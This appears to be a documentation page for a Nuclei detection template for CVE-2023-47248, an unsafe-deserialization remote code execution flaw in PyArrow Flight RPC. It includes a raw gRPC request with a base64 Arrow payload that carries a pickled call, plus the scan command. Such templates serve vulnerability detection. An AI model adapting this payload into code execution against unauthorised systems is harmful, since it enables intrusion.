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PyArrow Flight RPC - Remote Code Execution

ID: CVE-2023-47248

Severity: critical

Author: smolse

Tags: cve,cve2023,rce,arrow,pyarrow,apache

Description

Section titled “Description”

PyArrow Flight RPC from v0.14.0 through v14.0.0 allows remote attackers to execute arbitrary code via a maliciously crafted Python-defined extension type.

YAML Source

Section titled “YAML Source”
id: CVE-2023-47248


info:
  name: PyArrow Flight RPC - Remote Code Execution
  author: smolse
  severity: critical
  description: |
    PyArrow Flight RPC from v0.14.0 through v14.0.0 allows remote attackers to execute arbitrary code via a maliciously crafted Python-defined extension type.
  remediation: |
    Upgrade to PyArrow v14.0.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47248
    - https://www.cve.org/CVERecord?id=CVE-2023-47248
    - https://github.com/apache/arrow/commit/f14170976372436ec1d03a724d8d3f3925484ecf
    - https://github.com/smolse/poc-or-gtfo/tree/main/CVE-2023-47248
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-47248
    cwe-id: CWE-502
    epss-score: 0.015960000
    epss-percentile: 0.870280000
    cpe: cpe:2.3:a:apache:pyarrow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: pyarrow
  tags: cve,cve2023,rce,arrow,pyarrow,apache


http:
  - raw:
      - |
        POST /arrow.flight.protocol.FlightService/DoPut HTTP/2
        Host: {{Hostname}}
        Content-Type: application/grpc
        Te: trailers
        Grpc-Accept-Encoding: identity, gzip, deflate


        {{base64_decode("AAAAAS0KBAgBGgASpAIQAAAAAAAKAAwABgAFAAgACgAAAAABBAAMAAAACAAIAAAABAAIAAAABAAAAAEAAAAYAAAAAAASABgACAAGAAcADAAAABAAFAASAAAAAAABDxQAAADMAAAACAAAABAAAAAAAAAAAAAAAAAAAAACAAAAVAAAAAQAAAC8////CAAAACAAAAAUAAAAQVJST1c6ZXh0ZW5zaW9uOm5hbWUAAAAAFwAAAGFycm93LnB5X2V4dGVuc2lvbl90eXBlAAgADAAEAAgACAAAAAgAAAAkAAAAGAAAAEFSUk9XOmV4dGVuc2lvbjptZXRhZGF0YQAAAAAmAAAAgASVGwAAAAAAAACMCGJ1aWx0aW5zlIwHY29tcGxleJSTlClSlC4AAAQABAAEAAAA")}}


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "'complex' object has no attribute 'storage_type'"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bff33d8491024dab90dd6b51a0dc000d7be0e50ab79d7474a105cc8968a18f3702202d1f64de8e7315e2981b01110cc7adef931e3e9cb2fa2905d9ea62eadd2365d5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-47248.yaml"

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